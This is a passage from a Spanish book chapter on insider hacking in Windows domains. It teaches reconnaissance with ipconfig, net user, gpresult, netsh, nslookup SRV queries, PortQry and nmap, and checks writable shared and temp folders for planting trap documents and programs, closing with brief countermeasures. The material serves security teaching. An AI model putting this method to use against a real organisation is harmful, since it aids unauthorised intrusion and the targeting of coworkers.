Internal HackingContramedidas en Entorno Windows

February 9, 2018 | Author: gimibond | Category: Firewall (Computing), Computer File, Ip Address, Web Server, Domain Name System
Share Embed Donate


Short Description

Descripción: Contramedidas en Entorno Windows...

Description

Internal Hacking Contramedidas en entorno Windows ¿Qué acciones, para qué roles? Debe, antes de empezar a buscar información, saber en qué consisten los roles existentes y qué permiten hacer en el entorno dentro del cual trabaja. Existe globalmente tres roles principales definidos: el de administrador local, que puede realizar cualquier cosa en su ordenador, el de administrador de dominio, que puede realizar casi cualquier tarea sobre el conjunto de ordenadores de la empresa y, por fin, el más extendido, el de usuario, que se ha configurado para simplemente utilizar el sistema que le han asignado, es decir, para solamente realizar su trabajo. Existen variantes de estos roles que se crean con la ayuda de grupos de seguridad y de reglas de seguridad específicas muchas veces ligadas a un rol profesional, como contable, comercial, técnico en informática, etc. A decir verdad, esquivando la utilización clásica del sistema y del rol que el responsable informático le ha atribuido, puede ir mucho más allá de lo que cree.

1. ¿Qué puede hacer un administrador local? Por defecto, un administrador local puede hacer muchas cosas con su equipo, pero ¿sabía que con algunas manipulaciones puede tomar el rol de System y por lo tanto consultar toda la información de la máquina, todos los perfiles, todos los documentos sin dejar rastro o también abrir ficheros cifrados por Windows, como la SAM? Puede también extraer las contraseñas almacenadas en el equipo, ya sea de una aplicación, del sistema, por ejemplo las claves de las redes Wi-Fi guardadas, o de los usuarios locales. Puede modificar todos los parámetros de los sistemas directa o indirectamente. Puede hacer pasar una aplicación por otra de manera transparente. Puede instalar lo que desea. Puede desbaratar las políticas de grupo ligadas a los equipos o las políticas ligadas a los usuarios. Puede definir parámetros que serán utilizados por toda persona que use su equipo.

2. ¿Qué puede hacer un administrador de dominio? Una persona que está en el grupo de seguridad Administradores de la empresa o en el grupo Admins del dominio puede hacer muchas cosas, pero ¿sabía que también puede, modificando algunos elementos, hacer lo que se ha descrito anteriormente, pero en todos los equipos del dominio? Puede además extraer las contraseñas de un controlador de dominio, aunque guarde todas estas informaciones con mismo para todos los usuarios. Puede modificar las entradas DNS para enviar el tráfico web y todo el tráfico de la red donde él lo desee. Puede crear certificados de confianza para la web o para firmar código. Puede instalar y ejecutar remotamente aplicaciones escondidas, instalar certificados raíz sobre todos los equipos del dominio. Puede analizar y descifrar todo el tráfico web, https, Lync, Exchange... Puede abrir todos los buzones de Exchange. En general, puede descifrar todo lo que se encuentra cifrado. Todas estas posibilidades no son dadas por defecto, ya que se necesita, para llegar a realizar todo esto, saber cómo hacerlo y a veces rodear la utilización normal de algunos componentes del sistema.

3. ¿Qué puede hacer un usuario? Un usuario del dominio puede hacer más cosas de lo que la mayoría de los administradores piensan. Puede, entre otras cosas, consultar las informaciones interesantes sobre todos los usuarios y ordenadores del dominio, incluyendo la pertenencia a los grupos de seguridad; instalar programas, si estos se encuadran dentro de su perfil más que en Program Files; añadir programas que arrancan con la pantalla de inicio de su sesión; modificar informaciones en el registro, como el arranque de un programa; reemplazar el explorador de Windows por otro;

añadir un protocolo ejecutable en el navegador o modificar la asociación de una extensión para ejecutar el fichero como si fuese otra extensión. Puede también instalar un certificado raíz en el almacén de certificados de confianza, que será reconocido para la firma de aplicaciones y las páginas https. Tiene permiso para compilar código, crear paquetes de software y crear aplicaciones, simplemente teniendo permisos de escritura en la carpeta donde se encuentran los ficheros temporales.

¿Qué informaciones son interesantes? ¿Cómo saber si una información es interesante? A decir verdad, todas lo son, pero con distintas prioridades. La prioridad de una información está ligada a su futura utilización. Si desea conectarse a un servidor por el escritorio remoto aun sin tener permisos, va a tener que buscar quién dispone de permisos suficientes para otorgárselos. ¿Dónde se encuentra el servidor? ¿Cuál es su dirección IP? ¿Cuál es su nombre de host? ¿En qué red se encuentra?, etc. ¿Qué medidas de protección tiene configuradas? ¿Están configuradas las políticas de grupo o un cortafuegos? ¿Existen logs de seguridad? ¿Cuál es el objetivo? ¿Acceder por escritorio remoto o esto es solo una etapa para después configurar alguna cosa? ¿Existe otra posibilidad para realizar la configuración o de obtener lo que realmente buscamos? Como se habrá dado cuenta, es el juez único de lo que es pertinente para usted. Piense en definir unívocamente el objetivo; esto le guiará con más facilidad sobre las informaciones que le faltan para su ataque.

1. Tipos de búsquedas Es importante obtener informaciones antes de entrar en acción para aumentar sus esperanzas de éxito. Se va a confrontar, cuando realice la búsqueda, a dos tipos de búsquedas posibles: las búsquedas de informaciones pasivas y las de activas. La búsqueda pasiva consiste en leer informaciones que nos dan o que recibimos sin que exista ninguna conexión con el servidor que podría grabar nuestra petición de información. En el caso del hacking interno, esto podría hacerse leyendo y anotando las informaciones de su propio puesto de trabajo, tales como la IP, el nombre del host, la subred en la cual se encuentra, etc. Este tipo de búsqueda representa normalmente un riesgo casi nulo de ser descubierto. Se le debe, por lo tanto, dar preferencia. En cuanto a la búsqueda activa, consiste en interrogar un servidor para obtener una información, como sería el caso con una petición LDAP (Lightweight Directory Access Protocol) sobre un servidor de dominio o también utilizar NMap para saber la versión de IIS (Internet Information Manager) instalado en el servidor web de la intranet. Con este tipo de búsquedas, existe un peligro de ser registrado en un servidor, aunque muchas veces en el ámbito del hacking interno estos logs están diluidos con las conexiones habituales de un cliente hacia su intranet o de un equipo hacia el Active Directory. Buscar una información a nivel local no significa que la búsqueda es pasiva. Por ejemplo, si consulta las reglas de su software especializado que actúa de cortafuegos y de antivirus, puede ser que este escriba en los logs, localmente o en un servidor, el hecho de que ha abierto la consola de gestión. En ciertos casos va a tener que preparar un ataque que solo perseguirá la búsqueda de informaciones. Sepa que, cuanto más precisas y fiables sean las informaciones, más aumenta la oportunidad de encontrar medios eficaces y temibles para obtener lo que desea.

2. ¿Qué se debe anotar? Las informaciones que busca y descubre sobre su configuración y sobre la configuración del sistema de la empresa deben ser anotadas con sumo cuidado. Para ello, organícelas con la ayuda de un documento de Excel. Defina claramente lo que ha encontrado. Cada información puede ser decisiva para el éxito de su ataque. Le aconsejamos anotar por lo menos los siguientes datos:



La subred del puesto cliente.



La subred de los servidores.



La dirección IP del puesto cliente.



Las IP y los nombres de los servidores importantes (AD, DNS, Terminal Server, Exchange, proxy, puerta de enlace, servidor de ficheros, etc.).



Los usuarios miembros de los grupos de administradores de la empresa o del dominio, los miembros del grupo Administradores.



Los usuarios miembros de los grupos Server Manager para Exchange o CSAdministrator para Lync.



El nivel de seguridad de Office y las rutas autorizadas.



Las reglas de entrada por defecto del cortafuegos.



Las informaciones sobre las personas que hay que atacar.



Las costumbres y preferencias de las personas que hay que atacar.

Esto solo representa una base mínima; toda información añadida, como las políticas de grupo, los permisos de carpetas públicas y locales, etc., puede ser decisiva para conseguir éxito en un ataque.

¿Cómo encontrar las informaciones locales útiles? La primera pista que hay que seguir para encontrar informaciones útiles es el puesto de trabajo. Es una fuente fiable y muy completa de informaciones sobre la configuración y las reglas aplicadas por los administradores. Su PC (Personal Computer) es el reflejo de la seguridad global de la empresa.

Es posible que los resultados de las técnicas de búsqueda de información descritas en las siguientes páginas sean algo diferente dependiendo de sus permisos de acceso, el idioma o la versión del sistema que utiliza.

1. Configuraciones del sistema Las informaciones locales son aquellas que conciernen el equipo con el cual trabaja o los servidores a los cuales tiene permiso para conectarse provisionalmente como consultor o permanentemente para personas de soporte. En la mayoría de las empresas, los PC están basados en un modelo de equipo realizado desde una imagen y la seguridad está centralizada, lo que tiene como ventaja que, si encuentra una brecha o un sistema que funcione en su casa, debería funcionar para todas las futuras víctimas en el seno de la empresa.

a. Informaciones de la red Abra la consola de comandos ejecutando cmd.exe. Escriba el siguiente comando: ipconfig /all La primera parte nos da informaciones sobre el dominio y el nombre del equipo. C:\>ipconfig /all

Configuración IP de Windows

Nombre de host. . . . . . . . . : cl1 Sufijo DNS principal

. . . . . : ediciones-eni.local

Tipo de nodo. . . . . . . . . . : híbrido Enrutamiento IP habilitado. . . : no Proxy WINS habilitado . . . . . : no Lista de búsqueda de sufijos DNS: ediciones-eni.local localdomain Después, encontrará su dirección IP (en IPv4), la máscara de subred, la puerta de enlace, así como la dirección física de su tarjeta de red. Anote asimismo los servidores DNS. Adaptador de Ethernet Ethernet0:

Sufijo DNS específico para la conexión. : localdomain Descripción . . . . . . . . . . . . . . : Intel(R) 82574L Gigabit Network Dirección física. . . . . . . . . . . . : 00-0C-29-78-9E-AE DHCP habilitado . . . . . . . . . . . . : sí Configuración automática habilitada . . : sí Vínculo: dirección IPv6 local . . . . . : fe80::cc09:503d:c1ef:a4b2%3(Preferido) Dirección IPv4. . . . . . . . . . . . . : 192.168.33.129(Preferido) Máscara de subred . . . . . . . . . . . : 255.255.255.0 Concesión obtenida. . . . . . . . . . . : viernes, 18 de julio de 2014 19:59:25 La concesión expira . . . . . . . . . . : viernes, 18 de julio de 2014 20:29:25 Puerta de enlace predeterminada . . . . : 192.168.33.2 Servidor DHCP . . . . . . . . . . . . . : 192.168.33.254 IAID DHCPv6 . . . . . . . . . . . . . . : 50334761 DUID de cliente DHCPv6. . . . . . . . . : 00-01-00-01-1B-5B-0F-C5-00-0C-29-78-9E-AE Servidores DNS. . . . . . . . . . . . . : 192.168.33.10 Servidor WINS principal . . . . . . . . : 192.168.33.2 NetBIOS sobre TCP/IP. . . . . . . . . . : habilitado

b. Variables de entorno Es posible encontrar las informaciones sobre las variables de entorno gracias al comando set. set nos da las variables de entorno, como nuestra ruta de perfil, APPDATA, así como la ruta del directorio temporal, TEMP. También encontramos la ruta de la carpeta PUBLIC donde todos los usuarios tienen permiso de lectura y escritura, informaciones pertinentes ya que tenemos allí permiso de escritura. Tenemos también el servidor al que estamos conectados, LOGONSERVER. C:\>set ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\usuario_prueba\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files

CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=CL1 ComSpec=C:\Windows\system32\cmd.exe FP_NO_HOST_CHECK=NO HOMEDRIVE=C: HOMEPATH=\Users\usuario_prueba LOCALAPPDATA=C:\Users\usuario_prueba\AppData\Local LOGONSERVER=\\DC1 NUMBER_OF_PROCESSORS=1 OS=Windows_NT Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem; C:\Windows\System32\WindowsPowerShell\v1.0\ PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 60 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=3c03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PROMPT=$P$G PSModulePath=C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=C:\Users\Public SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\Windows TEMP=C:\Users\USUARI~2\AppData\Local\Temp TMP=C:\Users\USUARI~2\AppData\Local\Temp USERDNSDOMAIN=EDICIONES-ENI.LOCAL USERDOMAIN=EDICIONES-ENI USERDOMAIN_ROAMINGPROFILE=EDICIONES-ENI USERNAME=usuario_prueba USERPROFILE=C:\Users\usuario_prueba windir=C:\Windows

c. Usuarios y grupos Para obtener las informaciones sobre un usuario, como su pertenencia a los grupos de seguridad y la validez de su cuenta, abra una consola de comandos y escriba:

C:\>Net user %username% /domain Se procesará la solicitud en un controlador de dominio del dominio ediciones-eni.local.

Nombre de usuario

usuario_prueba

Nombre completo

Usuario Prueba

Comentario Comentario del usuario Código de país o región

000 (Predeterminado por el equipo)

Cuenta activa



La cuenta expira

Nunca

Ultimo cambio de contraseña

18/07/2014 19:08:34

La contraseña expira

Nunca

Cambio de contraseña

19/07/2014 19:08:34

Contraseña requerida



El usuario puede cambiar la contraseña No Estaciones de trabajo autorizadas

Todas

Script de inicio de sesión Perfil de usuario Directorio principal Ultima sesión iniciada

18/07/2014 20:04:42

Horas de inicio de sesión autorizadas

Todas

Miembros del grupo local Miembros del grupo global

*Domain Users

Se ha completado el comando correctamente. Para un usuario local es lo mismo, pero sin

/domain.

Net user %username% Para conocer los usuarios y los grupos que tienen permisos de administración sobre el equipo local: C:\>net localgroup administrators Nombre de alias

administrators

Comentario

Administrators have complete and unrestricted

access to the computer/domain

Miembros

---------------------------------------------------------------Administrator EDICIONES-ENI\Domain Admins usuario_local Se ha completado el comando correctamente. Esta información le permite conocer mejor el entorno de usuario en el cual evoluciona y la configuración del sistema.

2. Las políticas de grupo Las políticas de grupo son reglas de seguridad configuradas por el administrador de sistema. Esto se traduce en muchas ocasiones en bloqueos al abrir un programa o una consola de configuración, o también en parámetros imposibles de cambiar. Cuando se aplican estas directivas, el administrador puede elegir aplicarlas sobre el conjunto de usuarios de un equipo o a un usuario específico independientemente del equipo que utilice. Se trata, por lo tanto, de políticas de grupo ligadas al equipo o ligadas al usuario.

a. Con la consola de gestión En la medida en que tiene permiso para abrir la consola MMC (Microsoft Management Console), ejecutemmc.exe y haga clic, en el menú Archivo, en Agregar o quitar complementos. En la ventana que se abre, seleccione Conjunto resultante de directivas.

Una vez añadido el componente, diríjase al menú Acción y haga clic en Generar Datos RSoP... El asistente le guiará por la recopilación de datos. Elija el Modo de registro, con Este equipo y elUsuario actual. Dispondrá así de la posibilidad de recorrer la configuración creada por su administrador.

b. Con la línea de comandos Si el acceso a mmc.exe está bloqueado, puede utilizar la línea de comandos para buscar lo que haya sido configurado por su administrador. Para ello, ejecute cmd.exe, y después GpResult: Gpresult /z Obtendrá así el nombre de la directiva y la configuración de cada parámetro que modifica el sistema. GPO: Default Domain Policy Policy:

PasswordComplexity

Computer Setting:

Enabled

GPO: Default Domain Policy Policy:

ClearTextPassword

Computer Setting:

Not Enabled

GPO: Default Domain Policy Policy:

ForceLogoffWhenHourExpire

Computer Setting:

Not Enabled

GPO: Default Domain Policy Policy:

RequireLogonToChangePassword

Computer Setting:

Not Enabled

GPO: Default Domain Policy Policy:

LSAAnonymousNameLookup

Computer Setting:

Not Enabled

GPO: Default Domain Policy Policy:

TicketValidateClient

Computer Setting:

Enabled

Si no es un fanático de la línea de comandos para leer el resultado, envíe la salida hacia un fichero html. GpResult /z /h c:\temp\informe.html El resultado será entonces una página web más fácil de leer.

c. Con el editor del registro El sistema escribe claves de registro para configurar los parámetros del equipo y los del usuario. Estas claves se guardan en cuatro sitios específicos. En el caso de los parámetros configurados para las políticas de grupo ligadas al usuario, las claves son:



CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies



CURRENT_USER\Software\Policies

En el caso de los parámetros configurados para las políticas de grupo ligadas al equipo:



LOCAL_MACHINE\SOFTWARE\Policies



LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Policies

Para ver lo que aplica, abra el editor del registro, regedit.exe, y localice las subclaves de las rutas especificadas más arriba. En el ejemplo siguiente, vemos que el gestor de tareas está bloqueado por una política de grupo aplicada al usuario.

En este caso, no sabemos cuál es el nombre de la política que ha pedido la escritura de este parámetro en el registro.

3. El cortafuegos a. Con el panel de configuración Para obtener informaciones sobre las reglas aplicadas del cortafuegos en un equipo, abra el Panel de control Sistema y seguridad - Firewall de Windows. Después, a la izquierda, haga clic enConfiguración avanzada. La consola central le indica si el cortafuegos está activado y para qué tipo de conexiones.

En el menú de la izquierda, tiene acceso a las reglas autorizadas o bloqueadas para la entrada y la salida.

En las propiedades del cortafuegos, encontrará el comportamiento por defecto de este:

En general, el cortafuegos está gestionado por el administrador del sistema. No siempre es posible abrir el panel de control para ver las propiedades.

b. Con la línea de comandos Puede acceder asimismo a numerosas informaciones sobre el cortafuegos con el comando NETSH. Abra una ventana de símbolo de sistema y escriba: Netsh netsh>adv netsh advfirewall>show Tiene la posibilidad de ver las configuraciones de los elementos siguientes: show allprofiles - Muestra las propiedades de todos los perfiles. show currentprofile - Muestra las propiedades del perfil activo.

show domainprofile - Muestra las propiedades del dominio. show global

- Muestra las propiedades globales.

show privateprofile - Muestra las propiedades del perfil privado. show publicprofile - Muestra las propiedades del perfil público. Dependiendo del sistema operativo, PowerShell permite igualmente recoger informaciones sobre la configuración del cortafuegos. Abra PowerShell y escriba los comandos siguientes para conocer todos los comandos de gestión del cortafuegos: Import-Module netsecurityNetSecurity gcm *firewall* Para ver las reglas aplicadas, utilice Get-NetFirewallRule, pero envíe el resultado a un fichero de texto; si no resultará ilegible. Get-NetFirewallRule > c:\temp\rules.txt Para obtener informaciones sobre los perfiles configurados: PS C:\> Get-NetFirewallProfile

Name

: Domain

Enabled

: True

DefaultInboundAction

: Allow

DefaultOutboundAction

: Allow

AllowInboundRules

: NotConfigured

AllowLocalFirewallRules

: NotConfigured

AllowLocalIPsecRules

: NotConfigured

AllowUserApps

: NotConfigured

AllowUserPorts

: NotConfigured

AllowUnicastResponseToMulticast : NotConfigured NotifyOnListen

: True

EnableStealthModeForIPsec

: NotConfigured

LogFileName

: %systemroot

\system32\LogFiles\Firewall\pfirewall.log LogMaxSizeKilobytes

: 4096

LogAllowed

: False

LogBlocked

: False

LogIgnored

: NotConfigured

DisabledInterfaceAliases

: {NotConfigured}

4. Las carpetas y los ficheros En una empresa, los documentos son almacenados generalmente en una carpeta compartida en un servidor de ficheros. Es importante para nosotros saber si los documentos de Office pueden utilizarse como herramientas. Es importante conocer las rutas de las carpetas donde el usuario tiene permisos de lectura, escritura o también de ejecución de aplicaciones.

a. Carpetas públicas Las carpetas públicas son subcarpetas de la carpeta raíz en la variable de entorno PUBLIC que ha podido ver anteriormente utilizando SET en la línea de comandos. Puede verificar en estas carpetas quién tiene permiso de lectura, de escritura y de ejecución de una aplicación. Para ello, haga clic con el botón derecho del ratón en la carpeta, menú Propiedades, después en la pestaña Seguridad y haga clic en el botón Opciones avanzadas.

El grupo especial Creator Owner (Creador propietario) está presente, con el permiso Control total. Esto quiere decir que, en el momento en el que un usuario cree un fichero o una carpeta en este emplazamiento, tendrá el control total, es decir, lectura, escritura, ejecución y modificación de los permisos de seguridad. Si desea afectar a todos los usuarios de un equipo creando un fichero en esta carpeta, acuérdese de modificar los permisos para que todos tengan acceso. Puede también modificar los permisos de una carpeta o de un fichero en la línea de comandos con cacls. Esto le permitirá realizar un script con las modificaciones en una aplicación o un documento trampa. Para crear una carpeta Test, abra una ventana de símbolo de sistema y escriba: Mkdir c:\user\public\test Después, para dar permisos de lectura y ejecución a todos los usuarios sobre la carpeta, utilice:

cacls "c:\users\public\test" /e /t /c /g "Usuarios":r Si el sistema es multiidioma y tiene como base el inglés, reemplace

Usuarios por User:

cacls "c:\users\public\test" /e /t /c /g Users:r

b. Carpeta temporal La carpeta temporal se puede encontrar en el valor de la variable de entorno TEMP o TMP usando el comando SET. Esta carpeta es usada por aplicaciones como Internet Explorer, Outlook y muchas otras. Cuando un usuario abre un fichero zip desde Outlook, los ficheros se descomprimen en una subcarpeta del directorio temporal. Resulta interesante comprobar si esta carpeta permite ejecutar una aplicación. Para ello, podemos verificar los permisos de la misma manera que acabamos de hacer. Diríjase a la carpeta que corresponda a su usuario y haga clic con el botón derecho del ratón en el directorio temporal, elija la opción Propiedades y haga clic en la pestaña Seguridad.

Normalmente, tiene permiso para ejecutar un programa. Si se quiere asegurar, abra la línea de comandos para ejecutar el comando siguiente que copia el ejecutable CMD en la carpeta temporal: xcopy %systemroot%\system32\cmd.exe %temp%\test\ Acceda a la carpeta temporal que se encuentra por norma general en: C:\Users\SuNombre\AppData\Temp\test Después, ejecute el programa cmd.exe. Si se abre es buen signo, ya que podrá enviar aplicaciones trampa a sus objetivos.

c. Documentos de Office Un documento de Office puede servir para atacar a un usuario gracias a las macros. Estas pueden ser herramientas potentes. Para saber en qué medida se pueden usar, vamos a averiguar el nivel de seguridad definido por una eventual directiva de grupo, así como las carpetas donde las macros tienen permisos de ejecución sin estar firmadas. Para ello, debe hacer aparecer la pestaña Programador en su programa de Office. Abra Microsoft Word y haga clic en Archivo - Opciones. En la pestaña Personalizar cinta de opciones, marque en la columna de la derecha el menú Desarrollador y después Aceptar. Haga clic a continuación en la nueva pestaña, Desarrollador, y en el grupo Código en Seguridad de macros.

En la misma ventana, en Ubicaciones de confianza, encontrará las carpetas donde los ficheros de Office pueden ejecutar las macros sin limitaciones.

En el menú Documentos de confianza, verá si los documentos en red pueden ser de confianza o no.

Todas estas informaciones serán útiles cuando realice un futuro ataque.

Las informaciones remotas Las informaciones remotas tienen relación con los servidores, las aplicaciones y los recursos a los cuales no es posible conectarse localmente o que están centralizados, como por ejemplo los usuarios de un dominio, un servidor de bases de datos, un controlador de dominio. Estas informaciones son muy importantes, ya que nos permitirán elegir nuestro plan de acción dependiendo de las posibilidades y las informaciones que poseamos. Será más sencillo apuntar a una persona o un equipo en particular una vez sepamos de qué estamos hablando.

1. Configuración de sistema a. Carpetas compartidas Muchas veces, las carpetas compartidas se representan con letras de unidad, siempre que esas unidades estén accesibles a todo el mundo. Es indispensable conocer las rutas de las carpetas compartidas donde todo el mundo tiene permiso de lectura, de ejecución y eventualmente de escritura, para poder dejar allí un programa, un fichero o un documento trampa, un archivo en lotes o, por qué no, extraer datos. No siempre resulta evidente saber qué permisos posee una persona en una carpeta compartida. Pueden existir muchos grupos de seguridad configurados en un dominio. Muchos de estos grupos pueden tener permisos diferentes. Así que, para saber si un usuario dispone de acceso a una carpeta, vaya a la pestaña Seguridad de las propiedades de la carpeta, y después haga clic en Opciones avanzadas. Vaya seguidamente a la pestaña Acceso efectivo. Elija un usuario para realizar una prueba y haga clic en Ver acceso efectivo.

Dispondrá de esta manera de la lista de permisos reales que una persona particular posee en una carpeta pública. Así podrá elegir mejor un sitio donde la mayoría tenga permisos suficientes para que se les pueda engañar.

b. Usuario y grupos En la configuración local, puede encontrar un usuario perteneciente al dominio que se encuentre en el grupo de administradores en su PC o tal vez disponga ya de un usuario en particular como objetivo. Para conseguir más informaciones de este usuario, como la pertenencia a los grupos de seguridad, si su contraseña expira y muchos otros datos, escriba en la línea de comandos: Net user NombreUsuario /domain Si ha localizado un grupo de seguridad del dominio y desea saber cuáles son sus miembros, escriba para el grupo Administradores del dominio: Net localgroup Administradores /domain Si se ha configurado el dominio de Active Directory en un servidor en inglés, como sucede en muchas ocasiones, reemplace Administradores por Administrators.

Es posible que la línea de comandos esté bloqueada por el administrador del dominio. En este caso, puede probar a realizar un script con un editor de texto y guardarlo como .BAT. En algunos casos, solo la apertura de CMD se encuentra bloqueada, pero no la ejecución de scripts. Si la ejecución de scripts se encuentra también bloqueada, puede descargar y usar una herramienta gratuita de Microsoft, ADExplorer, que permite recorrer los objetos del catálogo de Active Directory. Este programa no necesita instalación ni permisos de administrador para ser usado. Lo encontrará en: http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx

Para el campo Connect to, use la información LOGONSERVER que habrá encontrado gracias al comando SET ejecutado en el momento de buscar información en el equipo local. El nombre de usuario y la contraseña son informaciones normales del dominio. No necesita ser administrador para recorrer la mayoría de los objetos de Active Directory. Por ejemplo, para saber qué usuario se encuentra en el grupo de Administradores de la empresa, vaya a las propiedades del grupo y mire el atributo member:

Anote los miembros de todos los grupos importantes, como los grupos de administradores o también los de soporte.

2. Configuración de red La configuración de la red de la empresa puede ser compleja. Se trata, en nuestro caso, de sonsacar solamente lo que nos interesa; no necesitamos por ejemplo saber cuántos switch están instalados para atacar un servidor. Por el contrario, su IP, su nombre de máquina y los servicios que se encuentran instalados podrían sernos de mucha utilidad.

a. Búsqueda del nombre del servidor que hospeda un servicio Nos encontramos dentro de la empresa con una cuenta de usuario, una dirección de correo electrónico y, por qué no, una cuenta Lync. Las informaciones de los servidores DNS se encontraron en la configuración IP local. El nombre del servidor del Active Directory fue encontrado en la configuración local con el comando SET. Para encontrar el servidor Exchange, basta con mirar los parámetros de nuestra cuenta en Outlook. Para ello, diríjase al menú Herramientas - Configuración de la cuenta... y haga clic dos veces en su cuenta de correo electrónico. Podrá encontrar el nombre del servidor en el primer campo. Para encontrar la configuración del servidor

Lync, haga clic con el botón derecho en el icono de la barra de tareas de Windows pulsando simultáneamente [Ctrl]. Existen muchos atributos donde encontrar los nombres de servidores Front-end, Edge, etc. Si no dispone de una cuenta de correo o de Lync, puede encontrar el nombre de estos servidores si posee la dirección de un servidor DNS interno. Para encontrar el resto de IP de los servidores sabiendo la IP del servidor DNS, abra una ventana de comandos y escriba NSlookup. Configure NSlookup para utilizar el servidor DNS conocido y que este responda a sus peticiones. Server 10.0.0.100 Busque los registros de tipo SRV (Services): Set Type=SRV Para encontrar el nombre de los servidores LDAP (Active Directory): _ldap._tcp.domain.local Para encontrar el nombre de los servidores del catálogo global: _gc_tcp.domain.local Para encontrar el nombre de los servidores Lync: _sipinternaltls._tcp.domain.local Para encontrar el nombre de los servidores Exchange: _autodiscover._tcp.domain.local O, dependiendo de la configuración: Autodiscover.domain.local Debe anotar estas informaciones con las que ya ha conseguido.

b. Búsqueda de servicios con PortQry de Microsoft Microsoft dispone de una herramienta para escanear los puertos abiertos en un equipo. Pero esta herramienta permite ir más allá de lo que permite un simple analizador de puertos: se conecta a los servicios para encontrar más detalles de este. Lo encontrará en el siguiente enlace: http://www.microsoft.com/en-us/download/details.aspx?id=24009 Se puede utilizar en una ventana de comandos, como en el siguiente ejemplo, donde se realiza un análisis de un servidor SQL: portqry - n 10.0.0.200 -e - p 1434 udp

Querying target system called:

10.0.0.200 querying...

UDP port 1434 (ms-sql-m service): LISTENING or FILTERED

Sending SQL Server query to UDP port 1434...

Server’s response:

ServerName SQL-Server1 InstanceName MSSQLSERVER IsClustered No Version 8.00.194 tcp 1433 np \\SQL-Server1\pipe\sql\query

==== End of SQL Server query response ==== UDP port 1434 is LISTENING El puerto está abierto y el servicio nos devuelve el nombre de la instancia arrancada. Para simplificar el uso de esta herramienta, Microsoft ha añadido una interfaz gráfica. Vemos seguidamente cómo usarla para el análisis de un controlador de dominio:

Este programa es práctico para analizar servidores como los controladores de dominio, los servidores Exchange, los servidores SQL o los servidores web.

c. Búsqueda de servicios con Nmap Para saber qué otros servicios ejecuta un servidor o un PC, además de los que ya se hayan encontrado, vamos a utilizar un escaner en línea de comandos que se instala fácilmente en un equipo Windows.Nmap es conocida como una de las herramientas favoritas de los piratas para analizar una red y más concretamente un equipo. Permite el escaneo de toda la red, así como la obtención de huellas (fingerprint), lo que significa que nos dirá si un puerto está abierto o no, pero también, en algunos casos, el servicio correspondiente al puerto y su versión. Puede descargarlo aquí: http://nmap.org/download.html El programa se utiliza principalmente con la línea de comandos, pero existe también una interfaz gráfica que se instala directamente con el paquete de instalación para Windows.

Para escanear una red completa buscando equipos encendidos y guardar el resultado en un fichero: C:\>nmap -sP 192.168.1.0/24 -oN c:\temp\log.txt

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-26 20:59 de verano romance Nmap scan report for 192.168.1.1 Host is up (0.00s latency). MAC Address: E0:A1:D7:D2:CF:AC Nmap scan report for 192.168.1.36 Host is up. Nmap scan report for 192.168.1.46 Host is up (0.016s latency). MAC Address: 00:19:99:34:B6:6D (Fujitsu Technology Solutions) Nmap scan report for 192.168.1.79 Host is up (0.093s latency). MAC Address: 18:20:32:D1:AE:7C (Apple) Nmap scan report for C610-IP (192.168.1.94) Host is up (0.00s latency). Para analizar un equipo en particular: C:\>nmap -Pn -A -sT 192.168.1.150

Starting Nmap 6.25 ( http://nmap.org ) at 2013-05-26 21:14 de verano romance Nmap scan report for 192.168.1.150 Host is up (0.000075s latency). Not shown: 991 filtered ports PORT

STATE SERVICE

VERSION

80/tcp

open

Microsoft IIS httpd 8.0

http

| http-methods: Potentially risky methods: TRACE |_See http://nmap.org/nsedoc/scripts/http-methods.html |_http-title: Microsoft Internet Information Services 8 135/tcp

open

msrpc

139/tcp

open

netbios-ssn

445/tcp

open

netbios-ssn

2179/tcp

open

vmrdp?

3389/tcp

open

ms-wbt-server Microsoft Terminal Service

49154/tcp open

msrpc

Microsoft Windows RPC

Microsoft Windows RPC

49156/tcp open

msrpc

Microsoft Windows RPC

49157/tcp open

msrpc

Microsoft Windows RPC

MAC Address: 6C:62:6D:00:67:33 (Micro-Star INT’L CO.) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone Running (JUST GUESSING): Microsoft Windows 7|Phone|Vista|2008 (95%) En su versión gráfica, este programa resulta aún más fácil de utilizar y le permitirá no tener que conocer los parámetros de Nmap de memoria:

El programa nos da informaciones interesantes sobre el equipo objetivo. Dispone ahora de todas las cartas en su mano para empezar un plan de ataque. Solo le queda estudiar todos los ataques realizables sobre los sistemas analizados.

Contramedidas Para evitar que un usuario pueda buscar información, debe bloquear las aplicaciones mencionadas en este capítulo, como CMD, PowerShell, GPresult, Regedit, MMC, ADexplorer... usando las políticas de grupo o restricciones de software. Puede asimismo bloquear el uso de ciertos componentes del Panel de control con el fin de impedir al usuario ver la configuración del cortafuegos de Windows; esto se realiza también con las políticas de grupo.

Las contramedidas están explicadas detalladamente en el capítulo Las contramedidas técnicas, y los procedimientos que se deben poner en marcha se explican en el capítulo La gestión de los sistemas de información.

Utilizar un medio de instalación de Windows oficial o una imagen de arranque PXE Este capítulo tiene como fin describir técnicas de pirateo utilizando al máximo las herramientas integradas en Windows o en la suite de Office. Le permitirán, como poco, tomar el rol de administrador de su PC. Algunas no funcionarán siempre, ya que la eficacia dependerá de las directivas ya configuradas por el servicio informático para proteger los sistemas, así como, en ciertos casos, de su capacidad de hacer que una persona ejecute un programa trampa.

